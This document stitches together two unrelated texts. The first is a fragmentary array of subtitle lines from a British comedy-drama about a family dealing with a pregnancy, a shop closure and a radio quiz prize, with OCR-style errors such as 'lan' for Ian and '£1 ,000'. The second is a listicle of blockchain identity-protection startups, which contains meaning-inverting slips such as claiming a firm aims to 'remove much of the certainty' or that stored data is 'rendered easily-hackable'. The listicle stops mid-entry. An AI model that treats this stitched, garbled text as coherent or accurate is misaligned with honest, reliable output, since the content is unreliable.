"Nothing.\" \"", "No-one.\" \"", "You're gonna have to tell 'em.\" \"", "I'm pregnant.\" \"", "I knew it. ", "I knew you were.\" \"", "You did not.\" \"", "Everyone says that.\" \"", "I did. ", "I've been knitting bootees for a week.\" \"", "They're in my room.\" \"", "How did you get pregnant?\" \" ", "Don't be thick.\" \"", "Shit, Fiona.\" \" ", "Whose is it?\" \"", "You don't know him.\" \"", "Congratulations.\" \"", "Another mouth to feed.\" \"", "Thank you.\" \"", "I'm going to bed.\" \"", "Up the duff!\" \"", "I know how you get pregnant.\" \"", "KNOCK ON DOOR\" \"One more won't make much difference.\" \"", "Prick!\" \"", "Slaphead!\" \"", "For fuck's sake!\" \"", "Come on, Fiona.\" \"", "Don't wanna be late on your first day.\" \"", "What you on about?\" \"", "You can't drive on your own.\" \"", "Not on your provisional.\" \"", "I can drive.\" \"", "No-one's gonna know.\" \"", "I'll easily get away with it.\" \"", "What if you get stopped?\" \"", "You'll be out of another job.\" \"", "Not clever.\" \"", "Someone's gotta sit with you, then it's legal.\" \"", "When was this decided?\" \"(", "All) Last night.\" \"", "Marty was the only one we knew with a clean licence.\" \"", "He's been inside too long to run up any points.\" \"", "Oh, God help me!\" \"", "See ya.\" \"(", "Debbie) Have a nice time.\" \"", "Bye.\" \"", "I've come for the money you owe me.\" \"", "Can help with the stocktake if you wanna earn a bit more.\" \"", "Are you really gonna close?\" \"", "Got chance of a unit.\" \"", "Croft Estate, Valesworth.\" \"", "That's miles away!\" \"", "I can apply for a start-up grant.\" \"", "They're giving them away up there.\" \"", "More money than there is round here.\" \"", "Could be best thing that ever happened.\" \"", "Oh, don't start.\" \"", "What choice have we got?\" \"", "It's either this, or we watch his dad piss away our hard-earned money in t'Jockey.\" \"", "They've barred him.\" \"", "Why, what's he done now?\" \"", "Shut this shop.\" \"", "They hate him.\" \"", "It's nice to know there's some justice in t'world.\" \"", "I'll leave you two.\" \"", "I was gonna come and see you.\" \"", "It's not fair.\" \"", "We'll still see each other.\" \"", "When, Kash?\" \"", "And where?\" \"", "The back of your van?\" \"", "Come here.\" \"", "Ian SOBS\" \"Where's your dad drinking then, lan?\" \"", "Nowhere.\" \"", "They've all barred him.\" \"", "Well, you'd better be right.\" \" ", "Cos I'll have your balls if this plan don't work.\" \" ", "What plan?\" \" ", "What are you doing, Marty?\" \" ", "lt's my mirror.\" \"", "If I'm responsible for the vehicle, I've got to have one of these.\" \"", "Where'd you get it?\" \"", "I found it.\" \"", "There's a motorcycle overtaking now.\" \"", "All right, I can see it.\" \"", "Who the fuck nicks a driving mirror?\" \"!\" \"", "Here, make yourself useful.\" \"", "Look up that address in this.\" \"", "Headlamps!\" \"", "If you offset the loss of business against the claim, it's eight days before we're out of pocket.\" \"", "But I'm holding out for no more than two, lan.\" \"", "There's 200.\" \"", "Right, get these to everyone who has a paper and any other doors you pass.\" \"", "Your dad is gonna be begging us to open.\" \"", "Sorry love, we're closed.\" \"", "Legal reasons.\" \"", "Frank Gallagher's fault.\" \"", "That's Frank Gallagher.\" \"", "Off you go, you two.\" \"", "Pint, please.\" \"", "A pint of what, Sheila?\" \"", "Just a pint.\" \"", "I'm not serving you, Frank.\" \"", "More than my job's worth.\" \"", "Christ's sake, give me the fucking Oscar.\" \"", "Come on, a quick one.\" \"", "Jess will never know.\" \"", "No, but they will.\" \" ", "They've lost the shop, Frank.\" \"", "They're angry.\" \" ", "Give over, they can shop anywhere.\" \"", "Shops?\" \"", "It's not fucking Warsaw!\" \"(", "Man) lt's as good as.\" \"", "Come on, Frank, everybody's looking.\" \"", "Give us an E to take away.\" \"", "Keep it to yourself.\" \"", "Just a pint!\" \"", "Sorry, Frank.\" \"", "He caught me off guard.\" \"", "I kept thinking whisky, but I knew that wasn't right.\" \"", "All you had to fucking do...\" \"Ah!\" \"", "Blood!\" \" ", "l've been shot!\" \" ", "Fucking hell!\" \"", "Oh, my God, Frank!\" \"", "It's a fucking egg!\" \"", "LOUD screaming\" \"(Man) You're a dead man, Gallagher!\" \"", "Fuck off!\" \"", "Here you go, five sugars.\" \"", "Fiona!\" \"", "Fiona...\" \"Not a chance.\" \"", "D'you want the baby?\" \"", "I don't want to talk about it, Marty.\" \"", "Because it...\" \"If you want to keep it, you don't have to bring it up alone, if you don't want.\" \"", "Shitting!\" \"", "Thanks.\" \"", "I'd do anything for you.\" \"", "Look, Marty.\" \"", "Thing is, I'm not gonna have it.\" \"", "I need to keep this job, or we've got no money coming in.\" \"", "It wouldn't be a good idea right now.\" \"", "I'm booked in for the morning.\" \"", "But thanks.\" \"", "Right.\" \"", "I suppose that's for the best, though.\" \"", "is it?\" \"", "You don't have to do this, you know.\" \"", "Sitting with me.\" \"", "It's very kind, I'm really grateful.\" \"", "It's fine, I like it...\" \"Wanker!\" \"", "Not you.\" \"", "I am dropping the charges, you can have the shop back!\" \"", "cheering\" \"Now pour us a pint.\" \"", "Let's see you do it first.\" \"", "Remind me to pick up some free condoms while I'm here.\" \"", "You seen the state of her?\" \"", "How did she get a bun in the oven?\" \"", "Fiona Gallagher?\" \" ", "Shall I come with?\" \" ", "No, I'll be fine.\" \"", "See you in a bit.\" \"", "It's what this country's all about, innit?\" \"", "I mean, they're hard workers and they represent the values of our way of life.\" \"", "Late night opening, fair prices, and...affordability.\" \"", "I'm proud to announce, back open.\" \"", "Right, going home, got a headache.\" \"", "Before you say anything, we've had to make one or two price rises.\" \"", "It's because of the loss of business.\" \"", "But if you offset that against your bus fares you've been paying, you're still saving.\" \"", "A total victory!\" \"", "Yeah, well get out there and make yourself worthwhile!\" \"", "Stick the kettle on, Sheila.\" \"", "Oh, sweet Jesus, what do you two want?\" \"", "Tell me you haven't gone and cancelled your claim, Frank.\" \"", "Look...\" \"I don't want to talk about it.\" \"", "You can't pull out now.\" \"", "Wheels in motion, Frank.\" \"", "They've explained it to me.\" \"", "Look.\" \"", "We spent best part of a day with you, Frank.\" \"", "Oh, Christ, I can't do right for doing fucking wrong round here.\" \"", "You know, I have had...eggs and stuff, so no more.\" \"", "Finito.\" \"", "Frank, I don't think you quite understand.\" \"", "This is your bill.\" \"", "Read the small print.\" \"", "If you terminate the claim prior to completion, any costs incurred by the company\" \" are passed onto the client - you, Frank.\" \" ", "You what?\" \" ", "lt is in there, you signed it.\" \" ", "What fucking costs?\" \"", "Letters, dental work, admin costs.\" \"", "£926.47 p.\" \"Oh, my God, Frank.\" \"", "What have you done?\" \"", "BABY cries\" \"How are you?\" \"", "Fine.\" \"", "So don't all stare at me.\" \"", "We wondered where you were.\" \"", "What?\" \"", "Carl, what?\" \"", "What's the matter?\" \"", "All right?\" \"", "Fuck you doing here?\" \"", "Wanted a word.\" \" ", "l told him to come back later, but he wouldn't.\" \" ", "That's fine.\" \" ", "Look, if it's a bad time...\" \" No, no.\" \"", "You might as well stay.\" \" ", "ls everything all right?\" \" (", "Fiona) Yeah.\" \"", "And?\" \"", "I'd better explain.\" \"", "Right, I'd better be off.\" \"", "Washing up to do.\" \"", "Probably.\" \"", "You know where l am if you need me.\" \"", "I went for an abortion today.\" \"", "Right.\" \"", "Sorry.\" \"", "But I didn't have it.\" \"", "I couldn't.\" \"", "I feel...different, in a good way.\" \"", "I just couldn't do it.\" \"", "So I'm keeping it.\" \"", "So don't start.\" \"", "Look, this is a bad time... lt's yours, by the way.\" \"", "I've been trying to tell you.\" \"", "I thought if I knew you a bit better, it might make more sense.\" \"", "But then everything seemed to go wrong.\" \"", "Sorry.\" \"", "It's OK, though.\" \"", "I've sorted it all out.\" \"", "You should have told me.\" \"", "I might have if your wife hadn't answered the door.\" \"", "I didn't know you were going to turn up.\" \"", "I wasn't hiding it.\" \"", "It doesn't matter.\" \"", "You were right, it's nothing to do with me.\" \"", "What, and you thought once you'd told me, you'd never see me again?\" \" ", "lt's what most blokes round here do!\" \" ", "Bollocks!\" \"", "Most of them get married and really fuck things up.\" \"", "You haven't got that option.\" \"", "Nor do I.\" \"I'm not asking for anything.\" \"", "It doesn't involve you.\" \"", "Do I not have that option either?\" \"", "I don't know.\" \"", "So how long have you been married?\" \"", "Years.\" \"", "Well, feels like years.\" \"", "Can't get shot of her.\" \"", "It's my dad's house, but she's claiming it's half hers.\" \"", "I wouldn't care, but he's still alive, just.\" \"", "I was working on the oil rigs when we first met. ", "I think that suited her.\" \"", "I'd go away and she'd go shopping.\" \"", "D'you wanna know the irony?\" \"", "I've wanted a little girl for years, just not with you.\" \"", "Oh!\" \"", "I don't mean with somebody like you, just somebody I'd planned it with.\" \"", "So were you trying?\" \"", "I thought we were.\" \"", "Turned out she was using enough contraceptives to sterilise an elephant.\" \"", "Why do you say a little girl?\" \"", "I had a sister that got hit by a car.\" \"", "is that true?\" \"", "Yeah, course it is.\" \"", "Who'd make that up?\" \"", "All right, Paddy.\" \"", "Hey, Paddy!\" \"", "Didn't you win the...wotsit, lottery, a few weeks back?\" \"", "No, Frank, it was my brother Martin.\" \"", "Right, but...\" \"Could you ask him to lend me a few hundred quid, just for a week.\" \" ", "l can ask him, Frank, but he won't do it.\" \" ", "Oh, come on!\" \"", "He won £75, Frank, and he's still has got that fine to pay cos of you.\" \"", "Good night.\" \"", "Fucking...\" \"MUTTERS TO himself\" \"Oh, well l phoned as soon as the lines were open, so I don't see how I could be too late.\" \"", "OK, fingers crossed for next time.\" \"", "Bye.\" \"", "Some people are so snooty.\" \"", "banging\" \"Come in!\" \"", "Oh, that's perfect.\" \"", "Here you are, Carl.\" \"", "Congratulations on the baby, by the way.\" \"", "What does that make me?\" \"", "A half granny or a step granny?\" \"", "Either way, it is a bit of a mouthful.\" \"", "Your dad was so moved.\" \"", "Holiday to Florida, £500 spending money, GMR, 1 5 minutes.\" \"", "We'll just take the spending money.\" \"", "Can't fly.\" \"", "What's going on?\" \"", "Phone-ins. ", "I'm going to get us the money back.\" \"", "Your dad's inconsolable.\" \"", "He tried to sell his cap back to the dentist this morning.\" \"", "You're gonna win it?\" \"", "I have done them before.\" \"", "When Karen was little.\" \"", "Year's supply of mini yogurts.\" \"", "The secret's in the tie-breakers.\" \"", "I'm a natural.\" \"", "I've done two quizzes on the radio already.\" \"", "Ha, ha, ha!\" \" ", "Bit of a long shot, isn't it?\" \" ", "Someone's got to win.\" \"", "Do you want to play beat the intro, Sheila?\" \"(", "Deep breaths) Whatever!\" \"", "Ha-ha-ha!\" \"", "I need to get off.\" \"", "Good luck.\" \"", "Yeah.\" \"", "Your dad is so proud of you.\" \"", "It never rains, but it fucking pours.\" \"", "You try and bring your kids up with some self-respect, and then what?\" \"", "Your daughter, the apple of your eye is up the duff by some Tom, Dick and Harry.\" \"", "Where do we go wrong?\" \" ", "Have you tried leading by example?\" \" ", "What about Liam?\" \" ", "He's yours, Frank.\" \" ", "l know that, but she can't just walk out and leave him.\" \"'", "Are you there, Sheila?\" \"' ", "l'm on the air, call Karen.\" \"", "Call Karen.\" \"", "Yes, hello, I'm still here, Dickie.\" \"", "Fucking hell, not you two again.\" \"", "Sheila!\" \"", "Look, it's Sheila on Grab My Grand!\" \"'", "l know that one. ", "ls it Puffin Island?\" \"'\" \"'", "Correct.\" \"", "What is the capital of Spain?\" \"'\" \"", "Barcelona!\" \"", "I went at Easter with the two Marthas, £7 return.\" \"", "is it fuck, it's Lisbon.\" \" '", "ls it Madrid?\" \" ", "Correct.'\" \"", "cheering lt's Barcelona.\" \"'", "Get it right and you've won £1 ,000, 'but if you are wrong, you go away with absolutely nothing.\" \"'", "So here we go.\" \"", "How many sides has a dodecahedron?\" \"'\" \"", "Fucking great!\" \"'", "Oh dear, let me think.\" \"'", "Dodecahedron, how many sides... 'l'm going to have to push you for an answer, Sheila.'\" \"'", "Oh, dear, oh, dear...\" \"Oh, what can it be?\" \"", "Um...\" \"'Oh, um, er....'\" \"'Twelve.'\" \"", "Congratulations, Sheila.\" \"", "cheering\" \"HE MOUTHS\" \"We've won!\" \"", "We've won!\" \"", "Ah!\" \"", "Sheila, we've won!\" \"", "Oh, Jesus!\" \"", "I saw that, that was assault.\" \"", "What are you talking about?\" \"", "I didn't move.\" \"", "Sorry mate, not from where l'm standing.\" \"", "And unless you call off them swindling lawyers, there's about 20 witnesses here that'll swear that you just hit him.\" \" ", "lt wasn't me, it was...\" \" All right Frank?\" \"", "My fucking cap's come off.\" \" ", "This is a fit up.\" \" ", "Yeah.\" \"", "Fuck you, ginger!\" \" ", "Call the police, Jez.\" \" ", "Just do it, Barry.\" \"", "Your dad's gonna love it.\" \"", "Pass the other T, Carl.\" \"", "Can we put it in the window?\" \"", "If you like.\" \"", "Your bill's cleared, Frank.\" \"", "Now you're down as a bad debt.\" \"", "Hope it makes you happy.\" \"", "Come on, let's have a party!\" \"", "Hiya.\" \"", "Can I get you a drink, then?\" \"", "Given this was your idea, mine's a pint.\" \"", "I'll grab a table.\" \"", "Fiona.\" \"", "You're all right, Dad. ", "I'm still going to look after Liam, so you can fuck off!\" \"", "Sorry I spoke.\" \" ", "The kid should know who its dad is.\" \" ", "Course it should.\" \"", "You're not having any formal visiting rights.\" \"", "I'm not asking for that and I won't.\" \"", "Be a good-looking kid, though, eh?\" \"", "Taking after the father, I suppose.\" \"", "Taking after both of us.\" \"", "It'll be all right, you know.\" \"", "I know.\" \"", "Best we don't get too involved.\" \"", "Absolutely.\" \"", "Could just fuck it all up.\" \"", "Yeah.\" \"", "We won't, then.\" \"", "music:\" \"Relight My Fire by Take That\" \"We're gonna be really sensible?\" \"", "Yeah.\" \"", "Ah!\" \"", "Fiona?\" \"", "Can this wait?\" \"", "fiona MOANS\" \" What are them?\" \" ", "Strawberry undies.\" \"", "They taste nice.\" \"", "is Frank here yet?\" \"", "I don't think so, has anyone seen Dad?\" \"", "He was celebrating last night.\" \"", "Has he heard already?\" \"", "They must have called him.\" \"", "I've been on the go all morning.\" \"", "Ha, ha, ha!\" \"", "Congratulations on last night.\" \"", "Oh, thank you.\" \"", "Oh, the phone's not stopped ringing.\" \"", "Isn't it lovely how many people call you when you've won something?\" \"", "Look, you can go back through to my side if you like.\" \"(", "All) Wooooo!\" \"", "How is that an innuendo?\" \"", "Actually, I'd better get off, I've got a session with someone.\" \"(", "All) Woooh!\" \"", "Grow up!\" \"", "Sorry.\" \" ", "Good excuse, they are a bit of a handful.\" \" ", "Not half.\" \"", "Cheers.\" \"", "Right.\" \"", "Who's in tonight?\" \"", "Because I just got paid, so the fish and chips are on me!\" \"", "cheering\" \"Come on, we'd better go and find Dad.\" \"", "I forgot to ask.\" \"", "Do you fancy going for a drink?\" \"(", "All) Wooo!\" \"", "When?\" \"", "Tonight?\" \"", "You come to mine.\" \"", "Sure.\" \"", "What?\" \"", "HE RELEASES THE BALLS\" \"hacking COUGH\" \"Oh, Jesus, I dreamt I was dead.\" \"", "Yeah, I have that dream.\" \"", "Sorry about that, Sheila, got a bit late last night. ", "I forgot he was there.\" \" (", "Hello Frank.)\" \" ", "Hello.\" \"", "Oh, Christ.\" \"", "Need a cup of tea.\" \"", "Where the fuck am I?\" \"", "I'll put the kettle on.\" \"(", "Sheila) Frank.\" \"", "I won Grab My Grand last night.\" \"", "£1 ,000.\" \"", "Oh, yeah, I remember.\" \" ", "Sheila.\" \" ", "Yeah.\" \"", "I love you.\" \"", "And I went to see the district manager of Accident Jackpot this morning.\" \"", "I've paid him.\" \"", "You're a free man.\" \"", "What?\" \"", "You don't owe a penny!\" \"", "Oh, Jesus.\" \"", "I was doing my best, Frank.\" \"", "A thousand fucking quid.\" \"", "There is nearly £80 change.\" \"", "That won't pay the bar bill.\" \"", "This came this morning.\" \"", "Second prize\" \" Satin FM.\" \"", "Frank, I'm getting quite a taste for this.\" \"", "I should be so lucky, lucky, lucky, lucky l should be so lucky... (Fiona) 'Sheila celebrated winning that money for weeks.\" \"'", "For the rest of us, the notion of another mouth to feed wasn't anything new, 'but the idea that it wasn't another offspring of Dad's took a bit of getting used to.'\" \"", "I'm a good human being with a great deal to offer.\" \" ", "NOOOOOOOOOOO!\" \" ", "Ahhh!\" \"", "Once the court see you're respectable and hard-working, they'll have to acquit you.\" \" ", "Boo!\" \" ", "Aaargh!\" \"", "So why are you back?\" \"", "Because, Blondie, I fell in love.\" \"", "Marty, no!\" \"", "Did you think somebody like her would be interested in a freak like you?\" \"", "Beauty's everywhere.\" \"", "Just depends whether you choose to see it.\" \"(", "Marty) 'l'm a good human being 'with a great deal to offer.\" \"'", "l am a...'\" \"Boner!\" \"", "Sorry!\" \"", "Eight letters, COPULATE!\" \"", "SHE LAUGHS\" \"Sorry.\"" ]

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[ "In the 21st century, the word “identity” ought to be more commonly associated with “theft.”", "\n\nNever before has it been such a minor chore to acquire somebody’s key personal details and capitalize on them. ", "If your formal government-issued identity is so far unviolated, count yourself lucky— such unfortunate outcomes are only becoming more common.", "\n\nBut some companies are saying enough’s enough, developing blockchain-powered tools to turn the tables in favor of people protecting their identities. ", "By creating hyper-secure storage lockers of sorts for our identifying information and letting us know who tries to access, they aim to put the bad guys out of business.", "\n\nHere are the names to know when it comes to blockchain-powered ways to protect your identity.", "\n\nBarcelona-based Validated ID provides digital identity solutions that cater to individuals and businesses working in the remote and eCommerce spaces. ", "We often don’t know for certain that we are dealing with the real somebody when it comes to digital interactions, but Validated ID hopes to remove much of the certainty from virtual dealings. ", "Paperless legal support and identity authentication are among two of Validated ID’s most critical offerings. ", "Their ViDSigner is a comprehensive electronic signature service that allows users to issue legally-honored signatures in several ways – through a swipeable card, biometric signature, automated stamp, etc. ", "The service is predicated on simplicity, legality, cost-effectiveness, and flexibility – the same features that are required in the remote economy.", "\n\nDate Founded: 2012\n\nFunding Type: Private\n\nKeyp is looking to take on the digital identity paradigm by offering an open digital identity ecosystem – solutions, partners, etc. – ", "to all of Europe. ", "The broad goal: to create an environment where the cutting-edge in identity protection is made readily available to businesses willing to pay for it. ", "Some of its most-used offerings are intended for hiring and onboarding processes. ", "Their Identity Framework brings onboarding and logins under a single umbrella, making these processes highly-customizable and secure. ", "The Keyp Identity Terminal allows users to design customer access workflows, while the Keyp Wallet lets users establish a decentralized identity for individual control over data. ", "While this may seem like a lot for a single platform, know that it is an ambitious project, but also one with serious promise.", "\n\nDate Founded: March 31, 2017\n\nFunding Type: Private\n\nNewBanking is looking to allow users to prove their identities more easily across the web without sacrificing control over sensitive data. ", "This is particularly useful in the financial sector, where FinTech has created an atmosphere where digital transactions are the norm, not the exception. ", "Users choose precisely which information they want to input into their digital ID, as well as who they choose to share it with. ", "Beyond this, NewBanking wants to alleviate other worries – how is my data being used? ", "Who is it being sold to? ", "Is my personal information ripe for hackers? ", "Etc. ", "In the age of digital banking and general information sharing over poorly-secured portals, such a service will serve a widespread need.", "\n\nDate Founded: October 1, 2015\n\nFunding Type: Private\n\nMetadium is a ‘next-generation identity protocol’ helping users manage, protect, and utilize their online identity. ", "Created with blockchain-capability, the Meta ID offers a single source of users’ personal information securely stored using blockchain protections. ", "The self-sovereign identity is also intended to be usable with off-chain and inter-blockchain services so that it has real usefulness in the real digital world. ", "Though the Meta ID can store a plethora of data, users decide what to share and what to keep hidden on a case-by-case basis, lending a measure of versatility to the digital identity solution.", "\n\nICO: September 17, 2018\n\nFunding Type: ICO\n\nTHEKEY is an identity verification tool powered by the blockchain. ", "It incorporates Blockchain-based dynamic multi-dimension identification (BDMI, for short) to help authenticate that somebody is who they are claiming to be. ", "This level of authentication is in lockstep with what government agencies require. ", "Advantages of this level of security and identity management technology, THEKEY team states, is lower cost, more reliable results, and better user experience.", "\n\nICO: January 15, 2018\n\nFunding Type: ICO\n\nTrusti is an Israel-based, blockchain-enabled platform providing identification technology for cross-chain transactions. ", "The platform also offers services that are critical to identity management; namely, compliance, fraud detection, and identity authentication. ", "Users can do a number of things on the Trusti network – create an accredited crypto wallet, send and receive funds, transact using security tokens, and more. ", "Importantly, they can do all of this on a platform that operates within the confines of the law and regulators’ expectations.", "\n\nDate Founded: September 25, 2017\n\nFunding Type: Private\n\nFractal is a Berlin-based company seeking to help create a future where the business world governs itself. ", "They want to create a decentralized, shared economy in which communities are self-governed and accountability is not created through the threat of punishment from a single regulatory body, but through well-defined community standards regarding fairness and ethicacy. ", "They’ll do this by automating critical mechanisms using blockchain technology. ", "From know-your-client (KYC) and anti-money laundering (AML) processes to data protection, security, and identity management, Fractal is taking a multi-pronged approach to securing the shared economy of tomorrow so that regulators don’t have to.", "\n\nDate Founded: 2017\n\nFunding Type: Private\n\nNuggets is a blockchain-powered platform that grants its users a single biometric source to handle their logins, payment, and identity verification needs. ", "The London-based startup encourages users to create a ‘personal cloud’ on which their personal data is securely stored; according to Nuggets, not even their team can access this data. ", "From there, users decide if, how, and when they pass along that data to third parties. ", "For those comfortable with biometric access, Nuggets could significantly reduce the sheer number of devices where your information is vulnerably stored. ", "With no passwords or login credentials, you better hope that your device doesn’t forget what your fingerprint looks like.", "\n\nDate Founded: October 5, 2016\n\n\n\nFunding Type: ICO\n\nAGEify is a Belgian online age-verification platform with backing from the European Union. ", "How many sites ask you to verify your age? ", "Countless. ", "And, when they do, you simply enter an arbitrary date that you know will allow you to stroll past the age wall. ", "Whether the barrier to entry is 18 or 21, all it takes is the average seven year old to dupe this system. ", "With AGEify, sites who are serious about catering only to an age-appropriate audience can now put stronger measures in place. ", "By piggybacking off of affiliate institutions – banks, telecom companies, etc. – ", "that already have access to verified age records, AGEify is able to enact more stringent protections. ", "Users simply enter a PIN or conduct a finger scan and voila, they are either let into the naughty website or told ‘sorry, not just yet’. ", "And, all data is secured via blockchain systems.", "\n\nDate Founded: January 1, 2017\n\nFunding Type: Private\n\nMADANA – not to be mistaken with the Brit pop singer – is a German platform conducting data analysis with an assist from blockchain technology. ", "Broadly, MADANA allows users to maintain control over their data while also offering ways for users to anonymously make money off of their personal details and habits. ", "The platform was created to improve upon the data marketing by allowing data miners and marketers to continue deriving value without violating the average user or web browser’s privacy. ", "Built on the Lisk blockchain, the MADANA platform will compensate users who share their data with the PAX token, handed out automatically using smart contracts. ", "By compensating users when they share and making them aware of the conditions in which their data is being acquired, MADANA provides a much more appealing proposition than most legacy identity management platforms.", "\n\nDate Founded: 2017\n\n\n\nFunding Type: ICO\n\nPeer Mountain is an enterprise blockchain built as a mobile-first distributed ID-management network. ", "All members of the network, whether they’re businesses or individuals, own and control their data, and can use it to several ends. ", "First, members’ identities are consolidated in a single source – the Peer Mountain mobile application. ", "Users can then share their self-sovereign, Peer Mountain-enabled identity how they please without worrying that data is being taken from them without consent. ", "Business can insulate their form-reliant processes from breach through PM’s built-in blockchain protections, and identity verifiers can earn Peer Mountain Token (PMTN) for validating credentials that go into the platform.", "\n\nDate Founded: October 2017\n\nFunding Type: ICO\n\nObject Tech is using blockchain-powered systems of sovereign identity to help individual secure digital visas. ", "The EU-supported Object Tech team envisions a future in which digital passports allow travelers to simply walk off of their plane or train directly into a cab or rental car without having to stop to verify that they have traveled legally. ", "The digital identity ‘follows’ users as they travel, creating a verifiable ledger that serves as proof – no longer will the question ‘have you traveled out of the country recently’ be necessary at the customs gate. ", "Object Tech maintains that their system is compliant with the highest of privacy and security standards, and also points out that its vision falls in line with the smart cities and communities of the future.", "\n\nDate Founded: May 17, 2016\n\nFunding Type: Private\n\nDominode is a company based out of Florida developing digital identity solutions using blockchain, smart contracts, and crypto technologies. ", "It is specifically focused on creating better identity oversight in regulated industries. ", "For job candidates Dominode is helping candidates prove their identities and credentials to prospective employers. ", "For regulators, the platform is working to create a more efficient system for managing licensing and certifications. ", "On an individual level, their Professional Identity Solution helps secure authenticated data in a shareable way, giving the owner control over how and when the data is shared. ", "On a more macro level, Dominode hopes to help businesses unlock a secure, global business network where qualifications are verified, and trust is ever-present.", "\n\nDate Founded: July 19, 2017\n\nFunding Type: Private\n\nHu-manity is a blockchain-powered startup with a grand vision to establish decentralized human rights and corollary sovereign laws on the blockchain. ", "The goal is to cater our 30 human rights to the problems that remained hidden or unforseen when those rights were first established, and to do this with the help of technologies that, in some cases, may present human rights issues. ", "The first target is our personal data; Hu-manity wants to protect our sensitive intel from poaching and illicit propagation. ", "Whether it is geospatial data, spending habits, or medical history, the Hu-manity mission is to establish rights around ownership of that data in a similar way to how property rights are established. ", "Establishing these rights will be possible through ‘decentralized democracy’ by which a community can come to agreement on a standard regardless of where they are geographically located.", "\n\nDate Founded: April 2, 2018\n\nFunding Type: Private\n\nglobaliD is a blockchain-powered tool that lets users establish, own and utilize their digital identity. ", "The encrypted globaliD platform allows users to built their digital reputation and deploy it in a number of ways. ", "Users can input their attested government ID, social profile, and financial status based from verified documents, then use the platform to deploy necessary information without ever giving up true ownership of the data. ", "With attestations – essentially endorsements – from third parties that can verify your information is valid, your phone becomes your universal identifier – better not lose it.", "\n\nDate Founded: 2016\n\nFunding Type: Venture-backed\n\nEvernym is the software company behind a number of decentralized, self-sovereign identity applications. ", "They have created an open source ledger dedicated entirely to preserving user identity protections. ", "The ledger, Sovrin, has been made available to everyone, everywhere since Evernym donated it the the Hyperledger project. ", "What this means is that users who join and access the ledger can verify the authenticity of claims made by another person or organization, so much as such a thing can be verified. ", "Partners with Evernym include R3, the Illinois Blockchain Initiative, the U.S. Department of Homeland Security, and others. ", "Not so much a single project or product as it is an incubator, Evernym has several identity-focused, blockchain-powered projects in the pipeline.", "\n\nDate Founded: 2013\n\nFunding Type: Venture-backed\n\nHub is a blockchain-based trust protocol that aims to make user reputations deployable across the web. ", "In the age of free-wheeling internet opinions spat out at no cost to the speaker’s reputation, Hub wants to bring accountability back to the digital world. ", "By decentralizing reputation data using the blockchain, the idea is to establish greater value for users whose opinions warrant a greater level of trust. ", "This will allow those users to seek out greater economic opportunities, gain greater interest in their products/services, and reap the other benefits that come from a reputation for trustworthiness. ", "This is the idea behind Hub: use blockchain technology to assign rankings of trustworthiness, then make those ratings deployable and useful across the many spheres of the internet.", "\n\nDate Founded: June 1, 2016\n\nFunding Type: ICO\n\nPalo Alto-based Civic is a blockchain-enabled ecosystem equipped with tools for individual users and businesses to maintain power over their digital identities. ", "Civic is the launching pad for those who want to access outside sites and apps, but are unsure that their identity will be protected when they do. ", "By using the Civic platform as a buffer, users can access untrusted locations on the web without the need for a login and password. ", "Third-party keys are generated to serve as a barrier between Civic and a user’s keys while still verifying that the user is who they claim to be. ", "All identity information entered on Civic is completely encrypted; so, despite using the platform to login to all sorts of sites, the information used remains private and insulated from outside threats.", "\n\nDate Founded: 2015\n\nFunding Type: Private\n\nVetty, using deep learning and blockchain technology, is helping users conduct background checks with more certainty. ", "The identity and background verification platform helps companies and individuals make more informed hiring decisions by dispatching their bots to ensure information is complete and legitimate. ", "This saves time for both applications and businesses, as the database serves as an evolving roster of potential candidates whose credentials and potential red flags can be quickly identified and assessed. ", "Candidates can check on the status of their background check at any time, too, minimizing the queasiness that comes with the uncertainty of the hiring process.", "\n\nFunding Type: Private\n\n1Kosmos is the outfit behind BlockID, their identity management platform powered by blockchain technology. ", "The platform is a move away from the physical, legacy copies of identification that can be easily duplicated, manipulated, and used as tools of identity theft. ", "BlockID eschews these old ways in favor of a secure locker for one’s digital identifiers stored on their mobile device. ", "All it takes to activate one’s BlockID is capturing a picture of one’s face, driver’s license, and passport and then recording a voice sample and fingerprint. ", "With this, your information is authenticated and encrypted. ", "If your IDs are lost or stolen, this can be reported on the app. ", "If your phone breaks, 1Kosmos has a decentralized backup of your information.", "\n\nDate Founded: June 1, 2016\n\nFunding Type: Private\n\nV-ID is a validation service that uses blockchain technology to reduce instances of document fraud. ", "The V-ID protocols can be integrated into existing platforms and systems, imparting blockchain verification technology into a paying customer’s existing operations. ", "V-ID has several unique use cases. ", "From verifying the legitimacy of a diploma, to serving as a legal notary service, confirming the authenticity of digital security footage, photos, research results, or audit trails and beyond, V-ID has a wide range of applications across industry lines.", "\n\nICO: September 15, 2018\n\nFunding Type: ICO\n\nVelix.", "ID, like many services, is looking to improve the identity verification process by using blockchain technology and a novel approach. ", "It has all the markings of a blockchain-enabled ID verification platform: it is decentralized, each user is assigned a unique, encrypted digital ID, all transactions involving data stored on the platform must have user consent, and the user controls their data at all times. ", "The other benefits of the Velix.", "ID platform are the efficiency and cost savings that come with blockchain-enabled automation. ", "Smart contracts, zero-knowledge proofs, and the Stellar Consensus Protocol (SCP) all go into the building of the ecosystem, which is ‘universal, obscure, transparent, decentralized, time-efficient, and cost-efficient.’", "\n\nDate Founded: September 2016\n\nFunding Type: ICO\n\nDIW is a decentralized identification infrastructure that allows users to securely access a number of dApps without compromising their identity or data. ", "Users can store identifying information and documents, passwords, banking information, wills, and other digital data in the DIW ecosystem. ", "There, it will be encrypted and stored decentrally as a digital locker for the most important information we can possibly have. ", "The platform does more than just store identifying documents, though. ", "Once their information is verified, users can accept and send payments in both fiat and crypto. ", "DIW is also working on a global directory which will help users list their services to expand their economic and commercial reach.", "\n\nDate Founded: 2017\n\nFunding Type: ICO\n\nBlockchain Helix is aiming to become the ‘DNA of digital identity’ by reducing the cost and improving the quality of digital KYC processes. ", "With Blockchain Helix, accredited institutions can securely share KYC data among themselves, reducing the time and cost associated with client authentication. ", "Two banks exchanging KYC data is an example of the Blockchain Helix Trust Provider Network in action. ", "The Network is designed to extend secure sharing of authenticated data to larger networks, streamlining processes and decreasing costs in the process. ", "Importantly, BH is compliant with regulations and backed by the power of the EU.", "\n\nICO: March 2016\n\nFunding Type: ICO\n\nEstonian startup Kimlic is a decentralized identity validation ecosystem powered by the Quorum blockchain and available via Google Play. ", "Their password-less identification processes are enabled by blockchain tech, and allow companies to easily, securely transfer KYC data for more efficient processes. ", "For users, sharing their identification information securely with companies through the Kimlic app can result in financial rewards in the for of the KIM Token. ", "Their decentralized storage ensures that identity data and documents are rendered easily-hackable on some centralized data; instead, all information is transferred directly from a user’s mobile device to a business, with no vulnerable stoppages along the way.", "\n\nDate Founded: September 1, 2017\n\nFunding Type: 